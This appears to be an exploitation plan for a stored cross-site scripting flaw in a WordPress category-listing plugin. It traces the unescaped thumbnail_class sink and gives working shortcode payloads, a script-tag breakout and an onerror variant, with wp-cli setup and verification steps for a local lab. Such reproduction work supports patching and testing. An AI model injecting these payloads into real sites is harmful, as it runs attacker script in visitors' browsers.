Exploitation Research Plan: CVE-2026-32419 (List category posts <= 0.93.1)

1. Vulnerability Summary

The List category posts plugin is vulnerable to Stored Cross-Site Scripting (XSS) via the [catlist] shortcode. Specifically, the thumbnail_class parameter is improperly neutralized before being concatenated into the HTML output within the LcpThumbnail class. Authenticated users with Author privileges (or higher) can use the shortcode in post content to inject arbitrary JavaScript that executes when any user views the post.

2. Attack Vector Analysis

• Endpoint: WordPress post/page editor (standard content creation).
• Vulnerable Component: The [catlist] shortcode processing logic.
• Vulnerable Parameter: thumbnail_class attribute within the shortcode.
• Authentication Level: Author (can create and publish posts).
• Sinks: include/lcp-thumbnail.php - get_thumbnail() and check_youtube_thumbnail() functions.

3. Code Flow

1. Entry Point: A user creates or edits a post containing [catlist thumbnail_class='...'].
2. Shortcode Registration: list-category-posts.php registers the shortcode:

   add_shortcode( 'catlist', array('ListCategoryPosts', 'catlist_func') );
   

3. Processing: catlist_func() instantiates CatListDisplayer, which uses the CatList class to query posts.
4. Display Logic: CatListDisplayer iterates through the results and calls LcpThumbnail::get_instance()->get_thumbnail(), passing the thumbnail_class parameter.
5. The Sink (Manual HTML Concatenation): In include/lcp-thumbnail.php, within the get_thumbnail() function (line 62):

   } else if ( ($force_thumbnail === 'yes'|| $force_thumbnail === 'true') && preg_match('~<img[^>]*src\s?=\s?[\'"]([^\'"]*)~i',get_the_content(), $imgMatches)) {
     // ...
     if ( $lcp_thumb_class != null ) {  // thumbnail class passed as parameter to shortcode
       $lcp_thumbnail .= 'class="' . $lcp_thumb_class . '" '; // <--- VULNERABLE SINK
     }
   

   The variable $lcp_thumb_class is directly appended to the $lcp_thumbnail string without esc_attr() or any other sanitization.

4. Nonce Acquisition Strategy

This is a Stored XSS in post content. No specific plugin-defined AJAX nonces are required to execute the attack. The attacker simply needs to be able to save/publish a post. Standard WordPress _wpnonce protection for the post editor will be handled by the user's session when using the browser or wp-cli.

5. Exploitation Strategy

Step 1: Prepare Target Content

The vulnerable code path in get_thumbnail requires force_thumbnail=yes and a post that does not have a featured image but does contain an <img> tag in its content.

Step 2: Inject Payload

The Author will create a post containing the following shortcode:
[catlist id=1 thumbnail=yes force_thumbnail=yes thumbnail_class='"><script>alert(window.origin)</script>']

Step 3: Execution

When the page is rendered:

1. The plugin searches for posts in Category 1.
2. It finds the "Target Post" (which has an image in its content but no featured image).
3. It reaches the vulnerable else if block in include/lcp-thumbnail.php.
4. It constructs an <img> tag: <img src="URL" class=""><script>alert(window.origin)</script> " alt="..." />.
5. The script executes in the browser of anyone viewing the post.

6. Test Data Setup

1. Create Author User:

   wp user create attacker attacker@example.com --role=author --user_pass=password123
   

2. Create Target Post (in Category 1, typically "Uncategorized"):

   wp post create --post_title="Target Post" --post_content='Look at this image: <img src="https://example.com/sample.jpg">' --post_status=publish --post_category=1
   

3. Create Malicious Post (as Author):

   # Note: Using the http_request tool or browser_navigate to simulate Author activity
   

7. Expected Results

• The HTTP response for the malicious post's URL should contain the raw payload: class=""><script>alert(window.origin)</script>.
• When viewed in a browser, a JavaScript alert window showing the origin should appear.

8. Verification Steps

1. Inspect HTML:
   Use http_request to fetch the post and check for the injected script.

   const response = await http_request.get("http://localhost:8080/?p=[POST_ID]");
   if (response.body.includes('class=""><script>alert(window.origin)</script>')) {
       console.log("XSS Verified");
   }
   

2. Check Plugin Version:

   wp plugin get list-category-posts --field=version
   

9. Alternative Approaches

If force_thumbnail is not used, the check_youtube_thumbnail() function in include/lcp-thumbnail.php is also vulnerable via a similar pattern:

if ($lcp_thumb_class != null){
  $thmbn_class = ' class="' . $lcp_thumb_class . '" />';
  $lcp_ytimage = preg_replace("/\>/", $thmbn_class, $lcp_ytimage);
}

Alternative Payload:

1. Create a post with a YouTube link: https://www.youtube.com/watch?v=dQw4w9WgXcQ.
2. Use shortcode: [catlist thumbnail=yes thumbnail_class=' x" onerror="alert(1)"'].
3. The preg_replace will result in: <img src="..." class=" x" onerror="alert(1)"" alt="..." />.